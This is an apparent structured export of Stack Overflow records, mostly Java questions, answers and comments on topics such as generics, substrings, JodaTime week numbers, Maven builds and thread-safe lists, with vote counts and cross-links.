has comment: http://stackoverflow.com/comment/33799227

http://stackoverflow.com/a/22276921
answers question: http://stackoverflow.com/q/22276910
upvote count: 4
has comment: http://stackoverflow.com/comment/33840779
downvote count: 0
score: 4
type: Answer
has comment: http://stackoverflow.com/comment/33840827
has body: You are attempting to allocate more RAM than your system will allow you to allocate. In your startup script, lower the values of your Xmx/Xms arguments.
has comment: http://stackoverflow.com/comment/33840765

http://stackoverflow.com/a/22235454
has body: Just as a List&lt;Dog&gt; is not a List&lt;Animal&gt;, a Map&lt;String, Set&lt;String&gt;&gt; is not a Map&lt;String, Collection&lt;String&gt;&gt; and it's not a Map&lt;?, Collection&lt;String&gt;&gt;. The solution here is to add a wildcard in place of Set to allow a subclass in the generic type parameter. // Add v public static &lt;V&gt; List&lt;V&gt; sortedValuesFromMap(Map&lt;?, ? extends Collection&lt;V&gt;&gt; keysValues, Comparator&lt;V&gt; comp) {
accepted answer of: http://stackoverflow.com/q/22235343
upvote count: 3
answers question: http://stackoverflow.com/q/22235343
has comment: http://stackoverflow.com/comment/33765579
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 3

http://stackoverflow.com/q/22261964
has comment: http://stackoverflow.com/comment/33814202
has comment: http://stackoverflow.com/comment/33814254
has answer: http://stackoverflow.com/a/22266591
type: AnsweredQuestion
has body: I use iText to batch enable shared reviews in pdf files at the server level. Injecting the required javascript is accomplished using the PdfStamper's addJavascript() function. This does enable the shared review, however i cannot create archive versions properly because the document level javascript "Script Name" is not correct. iText sets the Script Name sequentially starting with 0000000000000000, then 0000000000000001, etc. I need to set the Script Name to "com.adobe.acrobat.SharedReview.Register" instead. Is there any reasonable way to accomplish this?
tagged with: java
tagged with: itext
accepted answer: http://stackoverflow.com/a/22266591
type: Question
has title: any way to manually set the "Script Name" when adding JavaScript?
tagged with: javascript
score: 0
answer count: 1

http://stackoverflow.com/comment/33817296
has text: You probably are trying to use both these questions (this one and [this one](http://stackoverflow.com/questions/22263204/screen-x-isnt-working-no-screen-found)) to debug the same issue, but please wait until one is answered before asking the other.
comment on: http://stackoverflow.com/q/22263500
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/34320716
has text: for header column id = index you need to pass <HeaderRow in tag parameter it return whole string of headerrow # Start\nDate/Time Driving\nElapsed Driven\nKm etc again you need again pass whole string in xml and pass header colun to tag and save all tag in array list
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22325752
type: Comment

http://stackoverflow.com/q/22187613
has comment: http://stackoverflow.com/comment/33705892
has comment: http://stackoverflow.com/comment/33679617
has comment: http://stackoverflow.com/comment/33679758
has body: I'm writing a program that generates star wars names. The user inputs their first, last, mother's maiden name, birth city, and first car and the program gives a star wars name. I need the last two characters* of the user inputted last name. I know I can use substring, but I cannot get anything to work. The best I have is: lastname.substring(lastname.length() -2) which gives the first two letters of the last name, and not the last. Also, I cannot use lastname.substr(-2) because substr for some reason won't work (not sure why, this would be much easier). Thanks for any help. *EDIT: I hope I didn't confuse anyone, I need the last two characters of the last name. Actually I see my problem now: my original last name variable is String lastname = console.nextLine().substring(0,2).trim().toUpperCase(); which keeps the first two letters, so the reason I was getting the first two letters was because of this. I understand now. Is there a way to get the last two letters from this same variable?
has comment: http://stackoverflow.com/comment/33679873
has comment: http://stackoverflow.com/comment/33679667
answer count: 5
has comment: http://stackoverflow.com/comment/33679497
tagged with: substr
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22187683
downvote count: 0
score: 1
tagged with: java
has title: Last two letters of a user inputted string using substring (Java)
has comment: http://stackoverflow.com/comment/33679676
has answer: http://stackoverflow.com/a/22187691
has comment: http://stackoverflow.com/comment/33705966
type: Question
has answer: http://stackoverflow.com/a/22187722
has comment: http://stackoverflow.com/comment/33705915
accepted answer: http://stackoverflow.com/a/22187722
has comment: http://stackoverflow.com/comment/33686893
upvote count: 1
has answer: http://stackoverflow.com/a/22187638
tagged with: string
has answer: http://stackoverflow.com/a/22187659
favorite count: 0
has comment: http://stackoverflow.com/comment/33679451
possible better answer: http://stackoverflow.com/a/22187638

http://stackoverflow.com/comment/34589422
comment on: http://stackoverflow.com/a/22599546
score: 0
type: AnswerComment
has text: Hmm, I'm afraid I don't know how to use this because the IDEA sandbox is started automatically; I don't see/have a `main` function, I only have the plugin code which is loaded automatically. But your answer maybe gave me an idea: In the plugin I can add custom key event actions and when I just implement a dummy one, then I can set a breakpoint there and know where I am. +1
type: Comment

http://stackoverflow.com/q/22300820
score: 2
type: AnsweredQuestion
downvote count: 0
has title: How to get a certain enum instance when we are given only 1 value of its parameters?
has body: Please find my enum class below: public enum CountryCode //implements IEnum { AD("Andorra", "AND", "Europe", "South West Europe"), AE("United Arab Emirates", "ARE", "Asia", "South West Asia"), AF("Afghanistan", "AFG", "Asia", "South Asia"), // and so one till Z // attributes defined private final String label; private final String isoCode3; private final String continent; private final String region; // countructor defined private CountryCode(String label, String isoCode3, String continent, String region) { this.label = label; this.isoCode3 = isoCode3; this.continent = continent; this.region = region; } // END CountryCode } // END enum CountryCode NOW if I am given just the country name i.e. label, so how would I get its corresponding enum instance? So if given "Andorra", I want AD.
favorite count: 0
has answer: http://stackoverflow.com/a/22300972
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/22301090
answer count: 3
has comment: http://stackoverflow.com/comment/33883305
has answer: http://stackoverflow.com/a/22300955
tagged with: enums
has comment: http://stackoverflow.com/comment/33883244
tagged with: java
possible better answer: http://stackoverflow.com/a/22300955
accepted answer: http://stackoverflow.com/a/22301090

http://stackoverflow.com/comment/33686283
comment on: http://stackoverflow.com/q/22191554
has text: use `tv1.append(list.get(i0);` or `tv1.setText(tv1.getText()+list.get(i))`
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22236998
has comment: http://stackoverflow.com/comment/33768798
has comment: http://stackoverflow.com/comment/33768551
downvote count: 0
has comment: http://stackoverflow.com/comment/33768502
has comment: http://stackoverflow.com/comment/33769691
has comment: http://stackoverflow.com/comment/33769386
has comment: http://stackoverflow.com/comment/33768992
score: 3
has body: Actually watching the implementation of AtomicIntegerArray http://fuseyism.com/classpath/doc/java/util/concurrent/atomic/AtomicIntegerArray-source.html it seem that it is managed with more attention then I thought. It doesn't use Objects to store the values, making it more efficient in memory. In fact it uses a simple int[] and then access them in a safe way. So I think that if you need to use many AtomicInteger it is better to use the AtomicIntegerArray. AtomicIntegerArray: uses the Unsafe class to make atomic access to a single int[] in the AtomicIntegerArray AtomicBoolean[]: every single object of the array has it's object(itself) for making atomic access So I would expect a better performance in a heavy concurrent threaded environment with an AtomicBoolean[], with more memory consumption than the AtomicIntegerArray.
has comment: http://stackoverflow.com/comment/33770297
has comment: http://stackoverflow.com/comment/33768959
upvote count: 3
has comment: http://stackoverflow.com/comment/33769660
has comment: http://stackoverflow.com/comment/33769524
has comment: http://stackoverflow.com/comment/33768901
has comment: http://stackoverflow.com/comment/33769077
has comment: http://stackoverflow.com/comment/33768575
has comment: http://stackoverflow.com/comment/33768702
has comment: http://stackoverflow.com/comment/33768573
has comment: http://stackoverflow.com/comment/33769670
type: Answer
has comment: http://stackoverflow.com/comment/33769562
answers question: http://stackoverflow.com/q/22236928

http://stackoverflow.com/q/22221718
type: UnansweredQuestion
tagged with: maven
has title: Maven build fails on Ubuntu 12.04, JDK1.7
upvote count: 1
has comment: http://stackoverflow.com/comment/33746560
has comment: http://stackoverflow.com/comment/33740059
has comment: http://stackoverflow.com/comment/33740161
tagged with: java
has body: My maven build is fine on Windows machine but fails with compilation error on Ubuntu. [ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:compile (default-compile) on project [XXX]: Compilation failure: Compilation failure: [ERROR] /usr/share/tomcat7/[XXX]:[24,23] error: no suitable constructor found for XXX [ERROR] [ERROR] constructor XXX is not applicable [ERROR] (actual argument Class&lt;XXX&gt; cannot be converted to Class&lt;? extends XXX&gt; by method invocation conversion) [ERROR] constructor XXX is not applicable [ERROR] (actual and formal argument lists differ in length) [ERROR] /usr/share/tomcat7/[XXX]:[36,24] error: no suitable constructor found for XXX) [ERROR] -&gt; [Help 1] cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=12.04 DISTRIB_CODENAME=precise DISTRIB_DESCRIPTION="Ubuntu 12.04.4 LTS" java -version java version "1.7.0_51" OpenJDK Runtime Environment (IcedTea 2.4.4) (7u51-2.4.4-0ubuntu0.12.04.2) OpenJDK Client VM (build 24.45-b08, mixed mode, sharing) mvn -version Apache Maven 3.0.4 Maven home: /usr/share/maven Java version: 1.7.0_51, vendor: Oracle Corporation Java home: /usr/lib/jvm/java-7-openjdk-i386/jre Default locale: en_US, platform encoding: UTF-8 OS name: "linux", version: "3.5.0-46-generic", arch: "i386", family: "unix" I already tried building it on java 1.6 and changing java to oracle-7-JDK... Error stays the same. Can you help me? EDIT I have installed Oracle JDK according to provided instructions Now it looks like this: java -version java version "1.7.0_51" Java(TM) SE Runtime Environment (build 1.7.0_51-b13) Java HotSpot(TM) Client VM (build 24.51-b03, mixed mode) mvn -version Apache Maven 3.0.4 Maven home: /usr/share/maven Java version: 1.7.0_51, vendor: Oracle Corporation Java home: /usr/lib/jvm/java-7-oracle/jre Default locale: en_US, platform encoding: UTF-8 OS name: "linux", version: "3.5.0-46-generic", arch: "i386", family: "unix" Build still fails with the same error message
type: Question
has comment: http://stackoverflow.com/comment/33740459
has answer: http://stackoverflow.com/a/22221889
downvote count: 0
tagged with: ubuntu
has comment: http://stackoverflow.com/comment/33755320
tagged with: java-7
answer count: 1
score: 1
favorite count: 0

http://stackoverflow.com/a/22298997
score: 1
has body: In the first example you only create an instance of the class when you really need it (lazy initialization) the first time. So, you are using less memory until you need the class. If you have a lot of Singleton, you are saving memory and time if you finally don't need them.
answers question: http://stackoverflow.com/q/22298877
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/q/22282712
favorite count: 0
has title: Java serializable security over TCP
has answer: http://stackoverflow.com/a/22282945
tagged with: objectoutputstream
has comment: http://stackoverflow.com/comment/33850884
accepted answer: http://stackoverflow.com/a/22282945
downvote count: 0
has comment: http://stackoverflow.com/comment/33850805
score: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/6786945
possible better answer: http://stackoverflow.com/a/22282833
tagged with: java
tagged with: objectinputstream
type: Question
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/33850813
has comment: http://stackoverflow.com/comment/33851990
tagged with: serializable
tagged with: security
has body: I have a TCP/IP chat application that sends back and forth ChatMessage objects that hold the int type and String message of a message. My question is: How can I make it more secure? Thank you!
has answer: http://stackoverflow.com/a/22282833

http://stackoverflow.com/comment/33748234
has text: I am using windows authentication as shown here http://i58.tinypic.com/2lk5ra9.jpg if this is wrong, then what should i use to login to my database ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22226067
score: 0

http://stackoverflow.com/q/22195312
has answer: http://stackoverflow.com/a/22195974
type: AnsweredQuestion
has title: Get localized week number with JodaTime
possible better answer: http://stackoverflow.com/a/42245312
score: 12
has body: I am trying to get the current week number with JodaTime. In France, weeks are defined like this : A week begins on Monday (whereas weeks begin on Sunday in the US). The first week of the year is the week which contains the 4th of January (whereas IMO, it is the week which contains 1st of January in the USA. Is that right? I verfied it here). Example : The 1st of January 2012 is a Sunday. Hence, According to French Calendar, it belongs to week 52 of 2011. According to US calendar, it belongs to week 1 of 2012 With JodaTime, I found that I can get the week number with the following method DateTime#getWeekOfWeekyear(). I thought that by specifying the right TimeZone, I would get a localized result : DateTime dtFr = new DateTime(2012, 1, 1, 11,11, DateTimeZone.forTimeZone(TimeZone.getTimeZone("Europe/Paris"))); DateTime dtUS = new DateTime(2012, 1, 1, 11,11, DateTimeZone.forTimeZone(TimeZone.getTimeZone("US/Arizona"))); LOGGER.info("weekYear (FR) : " + dtFr.weekyear().get()); LOGGER.info("weekOfWeekYear (FR) : " + dtFr.getWeekOfWeekyear()); LOGGER.info("weekYear (US) : " + dtUS.weekyear().get()); LOGGER.info("weekOfWeekYear (US) : " + dtUS.getWeekOfWeekyear()); The output is : 2014-03-05 11:28:08,708 - INFO - c.g.s.u.JodaTest - weekYear (FR) : 2011 2014-03-05 11:28:08,709 - INFO - c.g.s.u.JodaTest - weekOfWeekYear (FR) : 52 2014-03-05 11:28:08,709 - INFO - c.g.s.u.JodaTest - weekYear (US) : 2011 2014-03-05 11:28:08,709 - INFO - c.g.s.u.JodaTest - weekOfWeekYear (US) : 52 I had expected : weekYear (US) : 2012 weekOfWeekYear (US) : 1 Is there something wrong in my code ?
has answer: http://stackoverflow.com/a/22202417
type: Question
tagged with: java
tagged with: jodatime
accepted answer: http://stackoverflow.com/a/22202417
answer count: 3
upvote count: 12
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/42245312

http://stackoverflow.com/comment/34193416
score: 0
type: Comment
has text: Wow, I'm an idiot. String s = ""; xml = convertBlah(s); return s; Thanks Claus.
comment on: http://stackoverflow.com/a/22475456
type: AnswerComment

http://stackoverflow.com/comment/33746925
has text: Checking the existing log files should always be the first thing you do.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22225764
score: 0

automation
tags question: http://stackoverflow.com/q/22242789
tags question: http://stackoverflow.com/q/22301330
tag name: automation
tags question: http://stackoverflow.com/q/22169346
type: Tag

http://stackoverflow.com/comment/33792116
type: Comment
type: QuestionComment
has text: in my comboBox sir i have a convertion . so if i choose it i need it to appear anything the frame or anything else . i only need is to do an action if i choose anyone of my ComboBox .
comment on: http://stackoverflow.com/q/22250386
score: 0

http://stackoverflow.com/comment/51255690
score: 1
has text: In C#, the result will be an int because we are dividing with an integer literal (10). Your comment is still good clarification though, for people who want to use this algorithm in a language other than C#.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22231258

http://stackoverflow.com/q/22317812
score: 0
has answer: http://stackoverflow.com/a/22318048
accepted answer: http://stackoverflow.com/a/22318048
answer count: 1
has title: HTTP Request with Certificate
tagged with: android
type: AnsweredQuestion
tagged with: java
has body: how can i hit a url with using certificate, can not throw exception. must have to include certificate. suggest me some demo example. I am able to read the certificate but how can i hit a url using this certificate.. import java.io.FileInputStream; import java.io.FileNotFoundException; import java.net.HttpURLConnection; import java.security.cert.CertificateException; import java.security.cert.CertificateFactory; import java.security.cert.X509Certificate; public class httpcert { public static void main(String[] args) { FileInputStream is; try { is = new FileInputStream("/home/devel-p/Android/PKI/CA.crt"); CertificateFactory x509CertFact = CertificateFactory.getInstance("X.509"); X509Certificate cert = (X509Certificate)x509CertFact.generateCertificate(is); System.out.println(cert); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (CertificateException e) { e.printStackTrace(); } }
type: Question
tagged with: ssl-certificate

http://stackoverflow.com/q/22191059
accepted answer: http://stackoverflow.com/a/22191199
type: Question
has answer: http://stackoverflow.com/a/22191299
has title: how to setvisible(true) a JFrame which i had setvisible(false) when loading other jframe class?
answer count: 3
possible better answer: http://stackoverflow.com/a/22191146
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/22191146
favorite count: 0
has body: //I have 2 JFrame classes say login and homepage what i did in login() is: class login extends JFrame{ homepage hp= new homepage(); setVisible(false); hp.setVisible(true); } but now if i want to load login JFrame i have to write: class homepage extends JFrame{ new login().setVisible(); } but my query is that above line creates a new object of login class but previous jframe object of login is hidden. how do i set that object to visible without creating new object.
tagged with: jframe
upvote count: 1
tagged with: swing
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22191199
tagged with: java

http://stackoverflow.com/a/22301707
has comment: http://stackoverflow.com/comment/33885759
downvote count: 0
has body: Both threads simultaneously reading the same index It is okay for multiple threads to be reading from common ArrayList if the list was constructed by the thread that forked the ThreadA and ThreadB and the list is fully constructed and loaded before the threads were forked. The reason for this is that there is a happens-before guarantee with a thread and the memory of the thread that forked it. If, for example, ThreadC builds the ArrayList but after ThreadA and ThreadB are forked, then there is no guarantee that A and B will fully see the ArrayList -- if at all. If this is not the case then you will need to synchronize the list. See below. ThreadA changing an element which ThreadB is attempting to access simultaneously, assuming that you don't care whether or not ThreadB gets the old or the new element. Once you talk about modifications to the list in a concurrent setting, then you must synchronize on that list otherwise there is no guarantee that the modifications will be published and there are chances that the list could be partially published which could cause data exceptions. As @Marko puts it, its internal state may be inconsistent. You can either use a CopyOnWriteArrayList which is designed for few updates and many reads, use Collections.synchronizedList(...) to make your list be protected, you can access the list always in a synchronized block (for all writes and reads), or you can switch to using a concurrent collection such as ConcurrentSkipList or something. ThreadA changing an element which ThreadB is attempting to access simultaneously This is somewhat ambiguous. If you are talking about, for example, storing objects in the list and then changing the objects that happen to be stored in the list then you are not going to have a synchronization problem on the list but you will have a synchronization problem with the object. If the list's data is not changing then it will be fine. However, if you need to protect the object then either a list of AtomicRefere…
has comment: http://stackoverflow.com/comment/33885520
score: 3
accepted answer of: http://stackoverflow.com/q/22301397
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22301397
upvote count: 3
has comment: http://stackoverflow.com/comment/33885806
type: Answer

http://stackoverflow.com/q/22178670
answer count: 1
has comment: http://stackoverflow.com/comment/33663347
has comment: http://stackoverflow.com/comment/33662973
has body: Not quite sure why but I am getting a null pointer exception when declaring what input stream is and what it should take in (converting string in an input stream), the get.bytes (converting from string to input reader) I read up online and implemented public void processTables()throws SQLException { dmd = con.getMetaData(); ResultSet schema= dmd.getSchemas(); ResultSet result = dmd.getTables(null,null,"%",null); while(result.next()) { String tablename = result.getString(3); ResultSet column = dmd.getColumns(null,null,tablename,null); ResultSetMetaData rmd = result.getMetaData(); int count = rmd.getColumnCount(); while(column.next()) { for(int i=1; i&lt;=count; i++) { String col=column.getString(i); System.out.println("Column: " + col); String question = null; InputStream col2 = new ByteArrayInputStream(col.getBytes()); BufferedReader brin; brin = new BufferedReader(new InputStreamReader(col2)); try { question = brin.readLine(); FileWriter output = new FileWriter("Columns.txt"); BufferedWriter out = new BufferedWriter(output); out.write(question); out.close(); } catch (IOException io) { System.out.println("hello"); } } ResultSet fk = dmd.getImportedKeys(con.getCatalog(),null,tablename); while (fk.next()) { String fkTableName = fk.getString("FKTABLE_NAME"); String fkColName = fk.getString("FKCOLUMN_NAME"); String pkTableName = fk.getString("PKTABLE_NAME"); String pkColName = fk.getString("PKCOLUMN_NAME"); System.out.println("Name of Table: " + tablename); System.out.println("Foreign Key: [" + fkTableName + "." + fkColName + "] REFERENCES [" + pkTableName + "." + pkColName +"]\n"); } } } JAVA STACK TRACE down below C:\Users\harma_000\Documents\Computer Science Year 2\SCC201\SCC201 13-14 CW Stud ent Pack&gt;java -classpath .;sqlite-jdbc4-3.8.2-SNAPSHOT.jar RefInteg Db.constructor [lsh] Db.Open : leaving Column: null Exception in thread "main" java.lang.NullPointerException at Db.processTables(Db.java:42) at RefInteg.checkDatabase(RefInteg.java:14) at RefInteg.go(RefInte…
has comment: http://stackoverflow.com/comment/33662955
has comment: http://stackoverflow.com/comment/33663071
has answer: http://stackoverflow.com/a/22179034
accepted answer: http://stackoverflow.com/a/22179034
has comment: http://stackoverflow.com/comment/33663074
has comment: http://stackoverflow.com/comment/33663058
has comment: http://stackoverflow.com/comment/33663525
has comment: http://stackoverflow.com/comment/33663409
has comment: http://stackoverflow.com/comment/33663116
tagged with: java
has comment: http://stackoverflow.com/comment/33663458
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33663449
has comment: http://stackoverflow.com/comment/33663585
has title: Getting a NULL pointer exception on a input stream
has comment: http://stackoverflow.com/comment/33663496
score: 0

http://stackoverflow.com/a/22307282
has body: Try this File dir = new File(Environment.getExternalStorageDirectory().getPath() + "/osmdroid/tiles/"); File[] filelist = dir.listFiles(); String[] theNamesOfFiles = new String[filelist.length]; for (int i = 0; i &lt; theNamesOfFiles.length; i++) { //do a little change String temp = filelist[i].getName(); theNamesOfFiles[i] = temp.substring(0,temp.length() - temp.lastIndexOf(".")); } Arrays.sort(theNamesOfFiles) adapter = new ArrayAdapter&lt;String&gt;(this, R.layout.list_row, theNamesOfFiles); lv.setAdapter(adapter);
has comment: http://stackoverflow.com/comment/33904514
upvote count: 1
has comment: http://stackoverflow.com/comment/33895501
type: Answer
answers question: http://stackoverflow.com/q/22307096
downvote count: 0
score: 1

http://stackoverflow.com/comment/33913361
type: Comment
comment on: http://stackoverflow.com/a/22317053
score: 0
type: AnswerComment
has text: menu.setMenu(R.layout.side_panel); in this layout put your buttons,switches etc. and all the things.

http://stackoverflow.com/a/22265312
has body: you terminate your loop with ; while(n&gt;0); // your mistake { //your code } try this public static void main (String [] args) { Scanner input = new Scanner(System.in); System.out.print("Enter Number:"); int n = input.nextInt(); while ( n &gt; 0 ) { System.out.println("Hello World"); n = n - 1; } }
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22265261
type: Answer
upvote count: 1

http://stackoverflow.com/comment/33665190
score: 0
comment on: http://stackoverflow.com/q/22179385
type: Comment
type: QuestionComment
has text: Why aren't you handling `onTouchEvent` from your view?. I might be wrong, but maybe the coordinates reported by `MotionEvent` differ in View and Activity??

http://stackoverflow.com/a/22249785
type: AcceptedAnswer
type: Answer
has body: It may be a stretch but... There may be .class files which IntelliJ compiled from your .java source code. For example: {main IDEA project DIR}/untitled/out/production/untitled/Main.class Where "untitled" would be your project name (this is an example with a directory structure under Linux: you'll probably need to adapt for Windows). If you manage to find that (those) file(s) you then may be able to use a Java decompiler to get you source code back from that (those) .class file(s). Note that a single .java file may give more than one .java file (for example if you have inner classes inside your main.java). I wouldn't bother if it's small (I'd simply rewrite it) but if you had a big main.java file (which btw is never a good idea), then it may be worth it. For the next time, as has already been suggested: look into a (D)VCS and use backups :)
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22249093
upvote count: 2
answers question: http://stackoverflow.com/q/22249093

http://stackoverflow.com/comment/33661612
has text: java.io.NotSerializableException - that is an error that i get
score: 0
comment on: http://stackoverflow.com/q/22177570
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22192238
upvote count: 110
accepted answer of: http://stackoverflow.com/q/22191954
has body: You can do ObservableList&lt;Stavka&gt; oListStavaka = FXCollections.observableArrayList(listStavaka);
type: AcceptedAnswer
score: 110
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/22191954

http://stackoverflow.com/a/22279828
upvote count: 17
score: 17
has body: Have a look at man update-alternatives. This reads: --set name path Set the program path as alternative for name. This is equivalent to --config but is non-interactive and thus scriptable.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22279279
answers question: http://stackoverflow.com/q/22279279
type: Answer

http://stackoverflow.com/comment/33687926
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22191098
score: 0
has text: How are you running `job`?

http://stackoverflow.com/q/22231686
tagged with: audio
tagged with: java
has comment: http://stackoverflow.com/comment/33758665
has comment: http://stackoverflow.com/comment/33758028
type: Question
has comment: http://stackoverflow.com/comment/33758137
tagged with: arrays
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33757946
has comment: http://stackoverflow.com/comment/33758203
has comment: http://stackoverflow.com/comment/33758690
has answer: http://stackoverflow.com/a/22232145
tagged with: byte
type: UnansweredQuestion
has title: Java System.arraycopy array bounds
has body: I'm trying to stream audio through a buffer with the size of 65536 bytes. What will happen if I copy the a piece of my audio data to the buffer by System.arraycopy() and the remaining Audio data is smaller than 65536? Will it throw an error or will it copy the remaining bytes to the buffer without any errors? That's my code for now: int offset = 0; while(isAudioActive) { byte[] buffer = new byte[65536]; System.arraycopy(this.currentFile.getSampledata().getData(), 65536 * offset, buffer, 65536 * offset, 65536); //&lt;&lt;writing Audio to track here&gt;&gt; offset++; } So the System copies audio data to the buffer in little pieces. I'm using little pieces because I want to pause/stop the music later.

http://stackoverflow.com/q/22203991
has body: Now I'm working at a MQ product which is fitting J2EE standard. I can access this Queue via Java client application or J2EE beans. I'm using this queue by the mode of topic/subscribe. Let's have the twitter as an example: Q1: User always send message to this Q. So that Q will become very huge. Do you have good solution to purge some overtime messages from Q to database? If so, do this solution fit to J2EE standard? or it's some product related featured solution? Q2: A scenario: The first day, user1 send 10 messages to this Q. Then user2 subscribed these 10 message from Q to his local. The second day, user2 delete his local 10 messages. The 3rd day, user1 send 5 new messages to this Q. Then user2 subscribed this topic on this 3rd day. Now what does user2 get? User2 get 5 new messages? or user2 get 5 new messages and 10 old messages together? If user2 get 5 new messages, do you have good solution to let user2 always get all of 15 messages (5 new messages and 10 old messages)? Can user2 get the new message by some condition? like by time condition, users2 only get messages after some time point. like by sequence condition, user2 only get the latest 100 messages, no matter whether or not these 100 messages had been subscribed by him It's just my questions.
type: UnansweredQuestion
tagged with: rabbitmq
has title: how to purge messages from Q? Could a message could be subscribed by 2 times?
tagged with: activemq-classic
tagged with: java
type: Question
tagged with: message-queue
has comment: http://stackoverflow.com/comment/33739330
has comment: http://stackoverflow.com/comment/33747328
score: 0
has comment: http://stackoverflow.com/comment/33730507
tagged with: jms
answer count: 0

http://stackoverflow.com/comment/33808357
comment on: http://stackoverflow.com/a/22258914
has text: A third party solution to fix Apktool to work on Android? No... If I did, I would hope it would be pushed upstream into Apktool. There are the two bugs. Pull Requests are welcome :)
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/111604786
has text: A2DP has low latency. Is there any compress method?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22390540

http://stackoverflow.com/a/22199356
type: Answer
answers question: http://stackoverflow.com/q/22199180
has body: One common technique used to simplify complex Boolean expressions is Karnaugh Maps. It is relatively easy to learn, and it can help you produce shorter expressions, or even build Boolean expressions from a truth table. Karnaugh Map for your expression is very simple - it looks like this: It simplifies to a, not a &amp;&amp; b.
score: 4
upvote count: 4
downvote count: 0

android-viewpager
tag name: android-viewpager
tags question: http://stackoverflow.com/q/22261286
tags question: http://stackoverflow.com/q/22225748
type: Tag
tags question: http://stackoverflow.com/q/22179395
tags question: http://stackoverflow.com/q/22250742
tags question: http://stackoverflow.com/q/22236701

http://stackoverflow.com/a/22226579
score: 1
upvote count: 1
has body: If you want the generated file locate in the same jar folder, you can do this: File file = new File(System.getProperty("user.dir"), "myfile.txt");
answers question: http://stackoverflow.com/q/22226490
downvote count: 0
type: Answer

http://stackoverflow.com/comment/33822609
comment on: http://stackoverflow.com/q/22266798
has text: @vstm all NPE related questions gonna be a duplicate of that now or what? :-P
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/22277816
tagged with: regex
has comment: http://stackoverflow.com/comment/33842534
has comment: http://stackoverflow.com/comment/33842606
has title: How to make non-greedy regular expression? "?" does not seem to work
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33842725
has answer: http://stackoverflow.com/a/22277858
has comment: http://stackoverflow.com/comment/33842590
has comment: http://stackoverflow.com/comment/33842440
has body: Here is the content of html: &lt;span style=\"color:red;\"&gt;\u7eaa\u51ef\u5a77&lt;\/span&gt;\uff0c\u6709\u6700&lt;span style=\"color:red;\"&gt; and I try to match the first &lt;span style=\"color:red;\"&gt;, but when my pattern is Pattern.compile("&lt;span .+?style=\\\\\"color:red;\\\\\"&gt;"); I will get the all sentence instead of the first one. What should I do?
has comment: http://stackoverflow.com/comment/33842592
tagged with: java
has comment: http://stackoverflow.com/comment/33842661
type: Question
score: 0
has comment: http://stackoverflow.com/comment/33842457
answer count: 1
has comment: http://stackoverflow.com/comment/33842458
has comment: http://stackoverflow.com/comment/33842489
has comment: http://stackoverflow.com/comment/33842467

http://stackoverflow.com/q/22200622
has comment: http://stackoverflow.com/comment/33702861
answer count: 0
score: 0
has title: JDK1.5 ignores jvm option ibm.swaplf
type: Question
tagged with: newline
tagged with: java
has comment: http://stackoverflow.com/comment/33722882
tagged with: ebcdic
has comment: http://stackoverflow.com/comment/33702477
has comment: http://stackoverflow.com/comment/33702308
type: UnansweredQuestion
has body: I'm trying to convert a UTF-8 file to EBCDIC IBM284, but java transforms 0A (\n) to 0x15, instead of 0x25 which is the standar our host is using. After searching the Web I found that you can set the option ibm.swaplf to true to change this behavior, but jvm seens to be ignoring it. System.setProperty("ibm.swaplf", "true"); After transformig I got this output: INFO TestParser : UTF8: €~Ñ}ÇçLF CRLF INFO HexaStrings : ******** HEX ************************************************ INFO HexaStrings : € Ñ }Ç ç LF CRLF INFO HexaStrings : e8a7c97c8ca440454400 INFO HexaStrings : 22ce31d3737c6a32c6da INFO HexaStrings : ******** FIN HEX ******************************************** INFO TestParser : EBCDIC 284: ?½{ÐhHÓÆÃÙÓÆ INFO HexaStrings : ******** HEX ************************************************ INFO HexaStrings : ?½ {Ð hHÓ Æ Ã Ù Ó Æ INFO HexaStrings : 3cb7c964c9c81c8c9c9c801 INFO HexaStrings : f2db30883336533393336d5 INFO HexaStrings : ******** FIN HEX ******************************************** I'm expecting 0A to be transformed to 25 instead of 15. Any ideas? Solution: Using IBM1145 instead of IBM284 solved this problem.

state
tag name: state
tags question: http://stackoverflow.com/q/22181068
type: Tag

http://stackoverflow.com/a/22309406
has comment: http://stackoverflow.com/comment/33899873
upvote count: 0
has comment: http://stackoverflow.com/comment/33919303
type: Answer
answers question: http://stackoverflow.com/q/22309340
downvote count: 1
has comment: http://stackoverflow.com/comment/34072450
score: -1
has body: One hour realtime from now should be this: System.currentTimeMillis() + (60 * 60 * 1000); // 60 minutes
has comment: http://stackoverflow.com/comment/33899645

http://stackoverflow.com/q/22170202
has comment: http://stackoverflow.com/comment/33685336
has comment: http://stackoverflow.com/comment/33685872
tagged with: draw
score: 0
has comment: http://stackoverflow.com/comment/33686005
